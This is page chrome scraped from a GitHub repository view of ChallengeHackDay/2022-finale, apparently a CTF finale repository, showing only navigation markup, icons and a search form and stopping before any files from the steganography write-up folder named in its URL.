<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="494566828" data-scoped-search-url="/ChallengeHackDay/2022-finale/search" data-owner-scoped-search-url="/orgs/ChallengeHackDay/search" data-unscoped-search-url="/search" data-turbo="false" action="/ChallengeHackDay/2022-finale/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="HP2LSgnT9GWyqwCEv9wjc54rB8/2slh0eQNCq+eFYYZR4VJEuNg1HmOIT8dkbbEdboBQgWuqtNuutCUWmZpjoA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ChallengeHackDay </span> <span>/</span> 2022-finale
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ChallengeHackDay/2022-finale/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":494566828,"originating_url":"https://github.com/ChallengeHackDay/2022-finale/tree/main/STEGANOGRAPHY/Electro%20Music%20Dance/wu","user_id":null}}" data-hydro-click-hmac="417a32dbfc6c2cbb5f84bfc86d92b45d626ea1143ef9a1d24aa7fbf34bf2ca66"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
